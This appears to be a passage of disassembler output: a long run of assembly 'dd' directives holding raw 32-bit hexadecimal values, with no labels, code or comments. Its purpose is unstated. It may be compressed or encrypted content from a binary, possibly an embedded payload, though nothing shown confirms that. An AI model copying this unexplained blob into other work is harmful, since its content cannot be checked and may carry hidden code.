		dd 6CE5EC28h, 0AD01424Ah, 1E87BA1Dh, 7457D580h,	0F82861h
		dd 0A3295E5Dh, 0B4884A80h, 1B87F6Fh, 4F0191C8h,	1D30A9E9h
		dd 48E000B9h, 33EC7B75h, 51147FF0h, 0AA02695h, 50D0C918h
		dd 2439AF41h, 941805CDh, 66C640h, 150683F0h, 311D96CBh
		dd 7B18C960h, 1E0413D2h, 0C67E0220h, 61226F79h,	9101D646h
		dd 55AFF239h, 88990C95h, 3900AA4Ch, 3201E522h, 18641CCDh
		dd 400BB10Dh, 71C042A2h, 0EE2F2E5Ah, 0AEBC00AAh, 1FBD6061h
		dd 50009FC6h, 8FB3E064h, 3F1968C2h, 98D0301Eh, 5FDF0E84h
		dd 35C00F87h, 5362BA3Dh, 3002AD7Ah, 0DA7F501h, 0C281C04Ch
		dd 297000D8h, 0F80E0E6h, 1A007833h, 0DA8AC198h,	1F3D1D6Fh
		dd 4FC82A6Dh, 0AAC08280h, 0A262CDB9h, 89104D00h, 954CE6D0h
		dd 3A3C1D29h, 8425C02Ah, 0CB2C6922h, 47511CAh, 3E557C5Ch
		dd 460B6B82h, 0E860B6B3h, 2D0399C3h, 69E99C19h,	0C3DA081h
		dd 8DF600E1h, 0FBE8C672h, 1D00848Eh, 88F4BCEEh,	41A09A6h
		dd 68FE6B04h, 26B1C203h, 0B7E2805Fh, 0B85ACBh, 0BB726C91h
		dd 5FFA4F87h, 0F0653400h, 0E1700C41h, 0B2B90098h, 45CBAF42h
		dd 5600ABC9h, 0C3FD14E6h
		dd 3A0664FBh, 0B6D85A34h, 0D7F65E02h, 0E3C3DC38h, 17726590h
		dd 0DD473F00h, 0C3410E12h, 89090CA7h, 8A417A31h, 0E401367Bh
		dd 71E31F03h, 0A0F3EFAAh, 7B6950Dh, 54D82898h, 0A07E000Ch
		dd 0ED05FDE7h, 0C70B095Eh, 0CBB5FB80h, 871E1FFFh, 47E480F0h
		dd 74EE9A0Ch, 16400502h, 0C156AABEh, 1DC091B4h,	8A33E50h
		dd 0FAE54101h, 7F451F67h, 9C00AF84h, 0D4DD4BF1h, 5E0E1F33h
		dd 7AB7C030h, 0BA6643DEh, 71009270h, 0EFA5029h,	0DA4E86h
		dd 0CFADE3E7h, 63A4F4A6h, 68ABF214h, 0C65926E4h, 0D0286C00h
		dd 180FA3A7h, 0E029CC84h, 0A2505B80h, 34006CC8h, 13C749A5h
		dd 0B38E88h, 6A3CF557h,	269E61BBh, 9BAC8D00h, 2A240DDh
		dd 7E8A7FE5h, 0F02C000Ah, 0A6C77088h, 0D161DA0Bh, 6A794F80h
		dd 0DB43A000h, 0BA745400h, 11C70A55h, 0B8F6B1h,	634BB966h
		dd 8EACDDE2h, 0C55BF51Dh, 286130BDh, 687613h, 0BFFF3C18h
		dd 67203B1Dh, 70DA0303h, 0A0FE7B9Eh, 7FBDAE61h,	0D2B800AAh
		dd 6377EA57h, 0BC00F37Ch, 8B38038Eh, 1FEB1BBh, 349585CDh
		dd 0EB99CCD9h, 7573E1B8h, 9CB90600h, 190FFA25h,	0B634008Ch
		dd 0CCA1DC89h, 8113709Dh, 0A00061Dh, 0CEAD070Bh, 2AAC0047h
		dd 3421091Bh, 25006ED5h, 0B0880478h, 15EEFD2h, 0ACD1CFFDh
		dd 0E4D3C67Dh, 2F00AE24h, 18EE7BC1h, 0DCF7F5h, 0D5C855F0h
		dd 5810B6A5h, 0D0636B00h, 29B5C64Dh, 31850016h,	2FA01C9Dh
		dd 0BF00C861h, 790C6854h, 1E7FB655h, 0C08EA5AEh, 0F0961CC2h
		dd 0E8F4A394h, 0F6174800h, 0C3CE1820h, 30C7E884h, 99143282h
		dd 150EBE3Eh, 0E01DC948h, 0FE6DB4AEh, 0ACE800CBh, 65D1F2EAh
		dd 0CF003D6Ch, 67FDD24Dh, 9B4F8DAh, 9B28DCEFh, 5687E98Eh
		dd 980E261Ah, 1282A900h, 584DFE87h, 1BA0307Dh, 9159BC18h
		dd 20B6E00h, 58D9D43h, 20D90131h, 0DB7E4CA2h, 9E4BD0FBh
		dd 3081140Fh, 347C6023h, 0E273F4Eh, 0CCE84082h,	0E93600F6h
		dd 26F72EEBh, 729C2106h, 0EF0F5E7h, 0C130B5B4h,	0C0560E07h
		dd 0FEDCAA9Eh, 0C8CB5D00h, 0DF14A0BDh, 38E000CAh, 4A10B78Dh
		dd 4B008E7Dh, 7FBA6576h, 3E8B6Dh, 9480BC44h, 8FF0E0F3h
		dd 4E2ADF00h, 9D254860h, 2ED600F9h, 0FC43211Fh,	7200E1C1h
		dd 0DEA7B37Ah, 6C7651h,	7E8460F1h, 5581FABBh, 0F7931000h
		dd 0E19ACA67h, 96AB0030h, 0D0CFE876h, 6F004C0Fh, 0C0B9E49h
		dd 0EC57EC1Fh, 232D0093h, 385C72DCh, 111C7DC4h,	13007F92h
		dd 7C300C4Eh, 2D1EA6Fh,	0D34AC635h, 7540973Fh, 77005BFFh
		dd 403A3B9Ch, 0AA056Bh,	84E75A21h, 8C7908CAh, 1D2F631Fh
		dd 81A309CFh, 28462512h, 94EC87C6h, 88D65833h, 20E578C6h
		dd 33001566h, 1D724CDh,	789B744h, 0FBF22DDEh, 0B0805E74h
		dd 0E69A9BD3h, 6A39D4A0h, 195D3Ah, 5C652348h, 7DEF505Bh
		dd 0E0F8F689h, 1F3C002Fh, 0C2A16D32h, 0B4001D66h, 9B4A067Bh
		dd 1C9E6A35h, 35A63h, 928A395h,	2000F8A2h, 611C4470h, 0F616D548h
		dd 6030FBFh, 4F80808Ch,	0B778DDD0h, 63E69000h, 82C5BEB5h
		dd 1D67AC0h, 0A1F6A4E1h, 24CE912Dh, 0F904CF24h,	0E47A32F1h
		dd 39B2080h, 0DAEE00A8h, 730BF56Ah, 3302B026h, 0BB6CCBCCh
		dd 7DB3E1B3h, 948ED0h, 1A522007h, 0D987B9F0h, 25E3Fh, 8A3A6C18h
		dd 0E123CBh, 0DF04BEB7h, 3B1A58B5h, 19B2500h, 0C9404113h
		dd 4F4E0E9Dh, 65C7FFE7h, 534D0A5h, 0B103B981h, 0EA872D29h
		dd 0B8FAC367h, 0F1C527h, 468C143Ch, 8F7F9E3Dh, 0D13BB00h
		dd 0FABE2F8Ah, 58D1076Ch, 0F574694h, 0CC85DD60h, 0E00EE31h
		dd 0E5889B4Dh, 0B29D7Ch, 11322E5Dh, 0E2EC60A4h,	0DA160179h
		dd 0BF00363Eh, 1C524A54h, 0CC813879h, 840D8D85h, 0A41CC353h
		dd 0E5EB68A0h, 0F267511Fh, 6D8FF640h, 1F5532h, 8794707Ah
		dd 0F49AFB0Ah, 0A6002D7Bh, 73AE1259h, 0FE6D64B2h, 0D601ED8h
		dd 7AC0406Ch, 8AB7CC2Dh, 111AE101h, 150CB183h, 7634360h
		dd 0BDD95FC8h, 102C8710h, 58F85D1Ah, 8138E772h,	0A5E580D2h
		dd 3DC04EE3h, 93DAA026h, 8BE65Bh, 0FA0A1C25h, 1AAA45BCh
		dd 0A307327Fh, 336A7C87h, 0BF6DAD70h, 6E8E009Ah, 0E28277B8h
		dd 480018DCh, 0AF159906h, 38256851h, 0B3BA923h,	78E07B1Bh
		dd 327E5600h, 0B22B61C5h, 0AB1C0145h, 24366A84h, 4620D408h
		dd 0CB0002FCh, 0FFC33A55h, 7CFCBCF0h, 6FBBF026h, 2E00986Ah
		dd 2892633Ch, 219BA9CFh, 0A5321E0Eh, 84B0E4h, 99C147F3h
		dd 5EEA0FDBh, 0C5002B77h, 54C24618h, 164C08h, 673EB7F0h
		dd 0F8062C4Eh, 99DA9C0Eh, 0C46038FBh, 6F09062Dh, 68116A51h
		dd 2B68EA1Eh, 55B89AC3h, 520801E9h, 0E5182A65h,	0EF37CCA6h
		dd 2F002178h, 0EDD8F066h, 3C057D7h, 109F2283h, 1BE1C439h
		dd 47EFC42Bh, 6335FC07h, 9450D729h, 3C43DFBh, 0D62C41CCh
		dd 90B0DC14h, 0B202AA10h, 9E2E11A2h, 0F79CA027h, 3A30E7h
		dd 0D9AF6E24h, 2BF91085h, 0DB13BC04h, 3D83AC11h, 0E5B8001Ch
		dd 30895CF5h, 0AE0B3BEFh, 64AD8D4h, 0F6201F73h,	0DB5B00DDh
		dd 81379AE2h, 0C27CB759h, 0E99B5C00h, 99422EF5h, 7F171EDh
		dd 35AF6D9Ch, 7E453072h, 462AA2FAh, 87E4C42Dh, 840C2500h
		dd 0AC7108F6h, 1908CC6Bh, 0FD1CE621h, 0EB401627h, 0AD825DEAh
		dd 3F0D0184h, 0CFD76672h, 5071FDFEh, 0D1AC0FB8h, 62D49200h
		dd 4F7B2EA6h, 0FA80A899h, 378CE83Ah, 0A01113F2h, 11F761BDh
		dd 2DCBAA0Ch, 0C3800963h, 66987C21h, 22D378B0h,	0F0708F01h
		dd 815C62A4h, 21255882h, 0A880FEC0h, 2D9FD391h,	90629E1Fh
		dd 19EF28C1h, 0B0418BDDh, 0D180188Dh, 4FE41235h, 57FA241Bh
		dd 8EF32703h, 0D7011C82h, 81C65090h, 0AD8F0074h, 4E0FBA24h
		dd 910A4530h, 0ACCDC43Bh, 21E1900h, 7052CCh, 77C2FA3Dh
		dd 8FFB6385h, 0D6F7341Dh, 0EF158340h, 0E28D84h,	0E17B8136h
		dd 322C2678h, 0AFBA5700h, 0A8F2CC87h, 46A00ED0h, 10C03341h
		dd 0FBCFBE0Ch, 7848951Eh, 929FC9h, 82D74F00h, 68D31D6Eh
		dd 705FD6h, 0AC6CBC1Ah,	1E002F1Bh, 733A9F42h, 140D4Fh
		dd 6A9AE1E5h, 79042EBFh, 0E450F901h, 19DA97D5h,	96A930h
		dd 0D098B2F8h, 0E82B3213h, 3D78CE00h, 0EBC41858h, 28E00509h
		dd 0C0E2BEFEh, 0B2F9AF72h, 9107EE7Ch, 8CCBF8DDh, 9B6FA3h
		dd 1889C748h, 19CF69C3h, 0D8150E00h, 0BF9A5390h, 0E980C0D4h
		dd 9C750D1Bh, 0E6A3DF00h, 90FD1676h, 399A02DAh,	0B69218BDh
		dd 0FB00CF8Fh, 40A6A3C4h, 51CB4200h, 83AA8678h,	97A731AFh
		dd 0D42F0670h, 1600F9E0h, 207A78FCh, 15571Dh, 0E604C7DAh
		dd 0D3F375EBh, 3429419h, 8864310h, 101987DAh, 356DAB12h
		dd 0A01E470Eh, 0BD04DD68h, 0B86400F5h, 0DA72E0B0h, 0EC38E8E6h
		dd 281530DBh, 80D33491h, 76891BD2h, 1C635A08h, 11337551h
		dd 11192F29h, 0F570D7CAh, 28829912h, 0E20624Ch,	0E7ECFCh
		dd 563B1FA2h, 42895029h, 9C231B00h, 5EAA14E8h, 6B3F00E0h
		dd 8A4B9B73h, 0C25C316Ch, 11B31F90h, 0BE4FB800h, 3E828C6h
		dd 0DF06BDEEh, 50D8F539h, 68EA7014h, 0B6AE5700h, 7866AD46h
		dd 29CE00A9h, 0BE79751Ah, 0B000928Dh, 0B33D891Bh, 44D9123h
		dd 607276C5h, 84468041h, 3C002B8Ch, 13708A9Eh, 0E277D9h
		dd 3ED43D16h, 917CDF02h, 0FC68711Ch, 9795CA00h,	891FC7h
		dd 0CBD44429h, 0CFB6242Ch, 380D9D1Ch, 963DDB41h, 81D0C186h
		dd 417700BFh, 9A7A3AB3h, 371C82D5h, 628AA1C5h, 0CD00FBE1h
		dd 2CEDD1BAh, 9A460231h, 0A2D5912Fh, 504CEBC1h,	0B806D9F8h
		dd 27A33F00h, 1EFC8001h, 0BDE501AFh, 8EF7C881h,	0F650ECE3h
		dd 4932AD00h, 0B01B8D33h, 59B4000Fh, 6212BC06h,	0AE000CE0h
		dd 28CF951Ah, 0EEB8780Eh, 239700E4h, 0E13E1488h, 60306638h
		dd 75471022h, 833100FCh, 494EB42Fh, 90DDEDC2h, 797DA203h
		dd 0CD25D0B5h, 295F0063h, 752284ECh, 81003AA0h,	0BD3804B8h
		dd 1DCF5112h, 40700B46h, 0D17A9808h, 0CE0043B0h, 0FCF178A5h
		dd 87DCA9h, 0FB66CD4Dh,	9BD832D5h, 3803FF00h, 0B8EF0198h
		dd 36AF30D9h, 3F427D18h, 7B06FA00h, 908DF29Ch, 0E8F800A1h
		dd 0B4F41245h, 0FC0007DAh, 0FD5283D7h, 3F989F46h, 7980547Eh
		dd 0B1708E90h, 0F903F59Bh, 3359718Bh, 9828A838h, 42A900BDh
		dd 8FE349A1h, 5D792F5Fh, 18EED37Ah, 7DF43200h, 52B9191Ch
		dd 1E6B002Ch, 0FF762A3Dh, 0EB00354Ch, 2E73317Bh, 555BBC0h
		dd 18974062h, 0C2518091h, 851C29B1h, 7398337h, 9EAE96Dh
		dd 0B60DA0BEh, 7AC35h, 56C333A8h, 6BD26382h, 52CF3Dh, 3814794Ch
		dd 9F053Ah, 0B2D41327h,	606E8D0Bh, 24827F00h, 956DD677h
		dd 90494825h, 18D9C00Bh, 0EFBF8380h, 0F8006BEDh, 57A7545Ch
		dd 8591DAh, 4929236Dh, 0E46F6A58h, 0F8442231h, 7BDC531Ah
		dd 104360C3h, 0AD673AC8h, 0BA1E7AF4h, 0C00BCDAh, 450E90F0h
		dd 5B3E0017h, 9DC0CE89h, 4C98066Dh, 1E7C93Fh, 33859BF7h
		dd 0B5D84283h, 5830005Ch, 0EF27BE97h, 0C63F2379h, 527B81D8h
		dd 53E74F1Ah, 3559BD0h,	422D7109h, 35F0B762h, 0E8038CF0h
		dd 0E77787EDh, 2574C883h, 7F9B0002h, 0D7CDBEC8h, 41001454h
		dd 9DD0315Dh, 122B02Ch,	0DA87C791h, 0EC66E18Eh,	4004D9Bh
		dd 9483E66Bh, 0E743BEDh, 8C401F13h, 2B59EC40h, 2100A776h
		dd 0FDA854C9h, 6B4B2Ch,	285BB3Fh, 0B9F9AB92h, 180FE600h
		dd 2FDDA7C9h, 0D2C507E9h, 11CF6D3Bh, 0BFDA9D8Eh, 7955808Ch
		dd 10F4C42Ch, 95421D36h, 0C62B8917h, 0CC74F08Dh, 59008833h
		dd 0E71281B1h, 359AD6h,	5E51F3B8h, 2A52EE0Dh, 2C04DA00h
		dd 4A9395EBh, 0E7DB0414h, 80236107h, 36BBEA34h,	56BF1F00h
		dd 69162F5Bh, 8E7350EEh, 1D2300D1h, 0B1EB6C9Eh,	12051340h
		dd 528D8B5Ah, 0CB05ECC0h, 7FB4004Ah, 83786E88h,	50B8D35Eh
		dd 6A890201h, 904FBBE3h, 0E61A5C0h, 821037F0h, 0C5A0114Fh
		dd 0F35E8441h, 0A28D805h, 16C280F5h, 57E8C014h,	64AA00A9h
		dd 0EC3B0F26h, 5F01D2CCh, 0A1B78A49h, 1AC8D0ACh, 0C76C3D61h
		dd 0AAC4DF0Fh, 0AD8CC6C0h, 31FEAE47h, 0C20F4C00h, 0A63C817Ch
		dd 0F273B2h, 7F948BE2h,	0CB40361Ch, 0AEC61001h,	0D266CEC7h
		dd 0C95FE0h, 2FEFA0D4h,	0DC4697CFh, 0C16E1A01h,	9EEC3809h
		dd 70E10DFCh, 0ACA20023h, 3CEAD6DAh, 630031B0h,	751439B7h
		dd 7DAFC6h, 0B544D84Bh,	0A464F970h, 40CEE98h, 28D4D718h
		dd 3C570124h, 6C7761ABh, 0DDEC40C5h, 6E7C73E0h,	0BF001470h
		dd 0D2F569BEh, 1F46AA97h, 0C05B284Ah, 9E8B583Bh, 90F817EAh
		dd 79664100h, 7C64E3DEh, 4E71CE0h, 39D9C0EBh, 0DB87F44Ah
		dd 0EC727100h, 6EAAFD0h, 0A466509Ch, 0CFFF20D7h, 0C31D281Ch
		dd 7D2D40C0h, 1646B7h, 7A569FB1h, 90F6BEACh, 0A81BC100h
		dd 0CC4DF811h, 0EC830FEFh, 0B9805EFDh, 30D623FBh, 0C501B6E8h
		dd 5A79C351h, 90DB2505h, 1BB826h, 0AFC91215h, 0D237F396h
		dd 75E8A5F0h, 0E79C9F00h, 84E11344h, 34560016h,	0F939AEE2h
		dd 680083FCh, 0F341DFA9h, 5A1D38h, 91C4CD07h, 265052D7h
		dd 74293Bh, 61F9EE5h, 0AE6358h,	8ABDA90Ah, 67917539h, 3025A48h
		dd 6098CD71h, 6D02F040h, 4B21008Bh, 0E52B1849h,	0BB0025A3h
		dd 0D3227E5Ch, 0AE758h,	0EE2D6139h, 0C08830CEh,	808A323Ah
		dd 0D99D4C50h, 0E81AB09h, 0AE11FB49h, 6F146460h, 8C90CDCBh
		dd 0B9ADA202h, 48BD949Ch, 317EB4Ch, 64C01FDFh, 0ECC0A8CFh
		dd 1C004D04h, 4BA6C87Eh, 1FED2609h, 81467DFCh, 12389155h
		dd 660CCC70h, 0B7FE000h, 0CF2ACCEBh, 7E9000Dh, 6E697EE4h
		dd 9E67C2EAh, 9C405318h, 1B17BD8h, 1594B60Bh, 0D9B745B5h
		dd 0DBFAF828h, 0C06961CEh, 0E6D403D2h, 0E27900AEh, 8364EEB7h
		dd 0A3039937h, 0C7070BB0h, 295803C9h, 24BE7635h, 0E4155AA8h
		dd 3B7C3Eh, 1FDEE2A3h, 0EC666887h, 2DF058h, 84569055h
		dd 0A2B40ADh, 5CF3358h,	8CD44E8Dh, 87A507C0h, 0F97E09B1h
		dd 0F400086Ch, 361799B2h, 22A7DB12h, 0E4689C00h, 0FAD98AF8h
		dd 0EFC63E20h, 9DA28100h, 0F5054471h, 0A0601B24h, 0CF45D500h
		dd 23CE8ECh, 0C74026EBh, 0BC80B427h, 98B7D9F4h,	1CF87D00h
		dd 0B6F01444h, 4D090F34h, 9BCCB1F6h, 81013B11h,	62DF0F55h
		dd 22C81869h, 97B2007Ch, 0A47F0CC9h, 0BB00FEA8h, 90A02A6Bh
		dd 0DA568Dh, 7CAB9BAAh,	29B6C6E9h, 4E460B26h, 69F6803Dh
		dd 79F815A8h, 17FB19F1h, 20DDFEEAh, 0D900FC44h,	930F3E97h
		dd 380B950h, 0F12FC137h, 4D88BB9Ah, 0E00B6041h,	8E54FAEDh
		dd 3765200Dh, 964C79h, 39B2C6F4h, 4A81CA41h, 152468EAh
		dd 980244A8h, 20C93728h, 0AB4B06EEh, 7273EB00h,	919916C6h
		dd 36FB0301h, 28647E34h, 0EA8A3380h, 0D90047B0h, 41E0E7E2h
		dd 0E63E159h, 99681D0Dh, 81456C40h, 53003FA1h, 0EF1C0937h
		dd 13A27B3h, 0B054BABDh, 2012516Bh, 5A00C697h, 57BEC213h
		dd 3EDEE0D7h, 9C8A2C85h, 780C750h, 3AA1D07Eh, 44AE00E0h
		dd 8640D1CFh, 52AA331Eh, 0ABFD6040h, 55FC1F7h, 124E23CAh
		dd 99D4000Dh, 0CE50D86Bh, 0FF6AA200h, 373F62Bh,	0FC6F417h
		dd 9B5824D2h, 26AD5780h, 67388222h, 929A1C56h, 321D4F41h
		dd 78D0D6C7h, 0C92D0018h, 0E34EB77Fh, 2C02EA40h, 1F652346h
		dd 6CC4C01Bh, 0D15B0CC2h, 0A6B8C611h, 0D6387D72h, 63B99B3Fh
		dd 533F078h, 64200024h,	0D07A8E34h, 6290968Ch, 0C18D1B00h
		dd 0ADC5F812h, 0FF600921h, 0B8035E87h, 63A86593h, 392AF29Ah
		dd 5000AC0Dh, 7CB5E88Ah, 56BEB9Eh, 0BE9F5FF7h, 0D74C8029h
		dd 5B6121A5h, 7DA7DCCCh, 30A38370h, 0E510D81Bh,	8C004764h
		dd 58B0337Ah, 7CBC8BDh,	0CAB8CCA6h, 90963783h, 8F61E628h
		dd 66B9A000h, 2F428A06h, 0D8B3003Ah, 0ADCD15C4h, 10B01C5Bh
		dd 6F16CE7Eh, 70002A07h, 4FF1C926h, 0F4F700FCh,	0CE65B7B3h
		dd 0F4F5DBE3h, 8F0F72FDh, 0C7D8290Dh, 46C0DD85h, 7AA0EA92h
		dd 0B2C100F8h, 2DC7762Eh, 0E90EA116h, 2A48E7Ah,	80BBB980h
		dd 2E234BF0h, 537C0444h, 80AC3FFAh, 76FB35E4h, 0B4217200h
		dd 0BDE0C597h, 81180056h, 0C0C2898Fh, 0B0BBEC9h, 3F0737h
		dd 0F3996E50h, 101560ABh, 5006E8C1h, 0F993FA18h, 0F819CD8h
		dd 142457DFh, 0C399E20h, 0AD0F19CEh, 0C033AE06h, 7AC3355Ah
		dd 3A4F18E9h, 6DB53986h, 5403B2B8h, 0B2B6E56Ah,	0CAD88840h
		dd 8FE813F8h, 285DA3h, 483015C6h, 99007FF1h, 2F371E97h
		dd 139C073h, 9284B6A4h,	0DDE7854Ch, 2E28D48Fh, 9169FA0Fh
		dd 9E71E09Ah, 7F25975h,	82B7EC87h, 0D952D06Ah, 7400BDF9h
		dd 62183CCCh, 0E44592h,	0A69BE0F2h, 42AC4344h, 4906ED74h
		dd 0BD82E821h, 7A3C2270h, 8FA7F900h, 4144DA09h,	8E5300E4h
		dd 857BD84h, 0A005671h,	4390E39Ah, 76DFAEFh, 0EB529E03h
		dd 8C344064h, 0E1078A87h, 0F5C983A1h, 0C8CFB633h, 0FA52FA2Dh
		dd 0FDB74C4Eh, 75F33500h, 9BB587CEh, 0BA00F575h, 0ACB23E11h
		dd 9584C7h, 7E64C30Dh, 0B5C2E09Ch, 173C1D05h, 0BC8736E7h
		dd 3E5805C0h, 205716AAh, 0F8750FFFh, 0E6DE5F00h, 0B1010E1Eh
		dd 0CA63431Ch, 8542B964h, 0B68D8068h, 0CE7E24h,	8C4B84D5h
		dd 0BA345066h, 0BFF9400h, 0B911DAF5h, 0EE710297h, 0B628532Ch
		dd 0A78C8C80h, 0A0007BE1h, 84ECA05h, 0A00BD5C1h, 0AD88EDh
		dd 386FDF94h, 5EFADD45h, 39499C0Fh, 369CBE95h, 41E316CFh
		dd 3A4B76C3h, 0DC9440F6h, 7D3B1E3Ch, 9FBFC0C1h,	0BA98E35Bh
		dd 2E5D494Ch, 0A400D6ADh, 0B5862F9Ch, 0A6DA00DCh, 0C5DE3C2Ch
		dd 0B3F06F30h, 0AB442A07h, 0D1A7C8D9h, 0B0B69FC0h, 36B80714h
		dd 0B068A781h, 0B4B14905h, 80D22E3Dh, 0A57E1EDAh, 0EBC4D9h
		dd 0C8070AA3h, 6943C1ADh, 1FE7F400h, 9411518Bh,	0E228C074h
		dd 797C21B8h, 93EAD0Fh,	7748A0EDh, 3ED598ECh, 0F58999h
		dd 80A9B32Dh, 286F6EFEh, 82C8BF00h, 69B616C1h, 702B00A4h
		dd 2A5A6450h, 22005929h, 82246D41h, 3BB26F35h, 0FC83B14Fh
		dd 0F2BF9C42h, 0E2FFE80h, 0AB1B8F00h, 0E7326285h, 7D1D4CAFh
		dd 766CAE00h, 41EA9B67h, 0F6DAB700h, 0B9694820h, 0B63A00C9h
		dd 0B58553D8h, 0FD07F4E2h, 67992721h, 0F69A4050h, 3918007Bh
		dd 0F952FD9h, 2802E069h, 5AE22624h, 676440EBh, 43AD04EFh
		dd 80B0FCBEh, 4C0390E3h, 0F74F6A00h, 0DD14DF9Ah, 99E407EAh
		dd 501F35FEh, 0C541E656h, 1B8E1A00h, 0A42191F4h, 0F195002Ch
		dd 6529DEC6h, 0D014E84Fh, 0C0DC1124h, 0F097A477h, 0AC145086h
		dd 0F190003h, 795E222Ch, 9E0072CAh, 0D7361113h,	90C7ADDAh
		dd 0FDA60040h, 3AB2883Fh, 0BA002254h, 0AFE40972h, 1059E52h
		dd 0BC98EE92h, 0E0F2B5E2h, 5C047442h, 8A0648Ch,	0F439E490h
		dd 0F3F601h, 4FEBE705h,	0C94711Bh, 43FDC100h, 0CECA7831h
		dd 327B0073h, 4417ADFAh, 92000834h, 0DF8E2928h,	1CD9C6Bh
		dd 0BE64D6B5h, 2E89139Fh, 241EB7B0h, 0A0984Fh, 24350D2Ah
		dd 140051A6h, 1F771D30h, 601C72F3h, 0C1932A8Fh,	33846B5h
		dd 0ED941270h, 0E780A000h, 22DD44Fh, 6D2B3EBCh,	0EC824751h
		dd 7C45A9FCh, 0EDC92500h, 0E8EF5103h, 5A9107D7h, 0C0567577h
		dd 0AB6DA526h, 90E46100h, 68C4D0EEh, 780600BFh,	0B75DFBF4h
		dd 0E200430Fh, 8E7C8D64h, 3B41F92Eh, 21CA0E5h, 1E4640FFh
		dd 3B03442Dh, 0CE166200h, 0B415251Bh, 6A7A0059h, 53700CF1h
		dd 8500E6C1h, 310EC0A4h, 751441A2h, 827103E7h, 134FD556h
		dd 1D4212E0h, 862EEC18h, 40CEFAh, 0A975632Ah, 0B915A7A1h
		dd 52F901Eh, 8A9B6D40h,	1FAB86h, 0EA2B4F29h, 8B5778F7h
		dd 0FF6FBB00h, 41E82D5h, 0ED5D021Fh, 0CAB089ABh, 0C9205440h
		dd 352EE40h, 8E5F17ACh,	22982FB5h, 0A7FAAAB6h, 0E770B100h
		dd 0EAD116D7h, 0CDBA009Ch, 40BF0A8Ah, 0F50930DAh, 4F909Bh
		dd 0C609803Ch, 2C0E0707h, 9062D11Ch, 0B3506A99h, 43003970h
		dd 9779FD5h, 0A14D5Ah, 7D4E7CEBh, 3407215Bh, 55CF8007h
		dd 0C54FE03Dh, 4928963h, 75C00096h, 0F47AD094h,	988D949h
		dd 820AD2E1h, 409DB2C8h, 0B8977B5Ch, 2DBB0FC4h,	965D889Ah
		dd 898C00B8h, 0C7F765E8h, 8B01F203h, 0DB613D2Bh, 0B988A8C6h
		dd 91080042h, 92DC9AF0h, 0E8FF5B5Fh, 3001901h, 0B9C52D5h
		dd 0CD7BBh, 351C8CA0h, 71C98F15h, 0DF953B00h, 2F2BD61Bh
		dd 693300D3h, 4274FC85h, 0E61D615Ah, 0FB00E07Ah, 7BF0E85Eh
		dd 3D0A003Ch, 908D161Ch, 0D77EA69Dh, 72D2AC07h,	7A825198h
		dd 2390409Bh, 0FC14025Ah, 0ED5E3B45h, 0E1DC4A40h, 80C44E00h
		dd 52FF5D1Ah, 0ECCA0368h, 5A79F825h, 0CE77C00h,	99F5DD89h
		dd 0C78E0019h, 0BC1307C2h, 0F90E0B96h, 17E82Bh,	58384CC3h
		dd 98330194h, 0D78FE655h, 35A2F003h, 44B0850Bh,	0CF0C2020h
		dd 0B2FB3181h, 0D4665004h, 75DF01AFh, 0D128CDC0h, 28BD7Fh
		dd 0D8A4A338h, 3BBE8974h, 870095CBh, 64BF1A2Eh,	24001C63h
		dd 0A46749C1h, 7F21E91h, 7790B257h, 0B798F0D2h,	39724C68h
		dd 0BA3401Dh, 0BE6AA940h, 0F16230h, 0D806925Bh,	96811BFCh
		dd 80134A3Bh, 0EE889E7Fh, 0F28F52D6h, 0AD3501FFh, 3B078A69h
		dd 573CD876h, 73780300h, 838E4EFBh, 36B3015Bh, 0F2729635h
		dd 0F0F5D841h, 7B56D100h, 0AE8C3CCFh, 9A730F0Ah, 39CE7293h
		dd 0E2E61361h, 0EC6034E9h, 660BD78h, 67DF5831h,	5DB01F2Ch
		dd 7E0007Dh, 0C3A9F4BCh, 6371B5Ch, 584F7203h, 1F8300A8h
		dd 0B6982A9Eh, 0BC00CBE1h, 640AD174h, 0E44F79CCh, 883E0550h
		dd 9034DB9Bh, 0AE0F39C0h, 0B291907h, 8F517953h,	94201BE8h
		dd 42FD124Ch, 0B4010118h, 0D31DF2DEh, 0B6F2AEFBh, 91362848h
		dd 89D93B00h, 0E9DBAA2Fh, 3C63002Ch, 6DFC25E2h,	0DD9060B1h
		dd 8614BA00h, 0A337291Bh, 4F3B007Ah, 154BC853h,	3E1F7976h
		dd 0C287AB28h, 87E0DF14h, 0ECDB7E10h, 0EDA63323h, 7CC01158h
		dd 19607112h, 8F5974A1h, 0B9311FADh, 0FEADDE7h,	0D8816A78h
		dd 80863CE0h, 0B6ADD128h, 793E08h, 35EF9CC2h, 55579860h
		dd 91771F00h, 6A32A1DBh, 41F23Dh, 4EBB6DFBh, 0D8ADA548h
		dd 16143300h, 3622A974h, 908F3092h, 0CCD99CAEh,	0BD8AE500h
		dd 86C00285h, 0FCC705A7h, 78814E8h, 0F23EB590h,	0F0AD4E39h
		dd 140408B8h, 105C7A30h, 2C24103h, 17B78CD3h, 0C0828436h
		dd 0A48052E8h, 0D1C74311h, 0BE02B50Ch, 44E329C6h, 4F441235h
		dd 111FFBFh, 10DF129Ah,	0F940E340h, 0DDDA451Bh,	0E2AB119Eh
		dd 70DE7500h, 34867A00h, 0EDA471E3h, 3C5F07AEh,	202E7FF8h
		dd 4A6F6907h, 0D3ECA7FEh, 29CAC100h, 0BD701B5Bh, 0B69847h
		dd 0D162B7A0h, 0CE3BFFE8h, 7958C900h, 9B3E052Eh, 0E4D70035h
		dd 122A559Ch, 5000043Dh, 0ADBD2103h, 15710Ch, 0CF74E885h
		dd 0F57D91EFh, 0FC968D00h, 545BB218h, 0B7B8003Dh, 0C07B2708h
		dd 59009E31h, 0ABD036CEh, 129D89BDh, 8045AA43h,	5A84CBACh
		dd 6400D7ECh, 0BEE2403Fh, 501CF4E9h, 95EBA2h, 720A3D6Fh
		dd 0E5552F74h, 0DEC8D113h, 0E08B300h, 4838C5BEh, 1A1E89CEh
		dd 0F413EFh, 7E3D5342h,	0B9015602h, 72438D77h, 1880832Fh
		dd 3C29F2FEh, 0F3D96D4h, 950670D7h, 55A94C26h, 0FCC2EA99h
		dd 0CEEAE3h, 0D40C725Eh, 1A77C7ACh, 9F81AA00h, 14A7FCBEh
		dd 572B1711h, 0DFE01C20h, 78C49FB2h, 26851Fh, 2502AA1Fh
		dd 0D0747B3h, 7DC049FFh, 48B4EEB0h, 2F7A0055h, 0E1A20E0Bh
		dd 4A03A3E0h, 0F7C3F833h, 83378068h, 0C9EAF4h, 4852F65Ah
		dd 0A51B6509h, 8003513Eh, 47E22A49h, 1EBFCC92h,	57209C8Dh
		dd 3D610576h, 0A542C046h, 8F00EDFAh, 451F9AB8h,	1D6209B0h
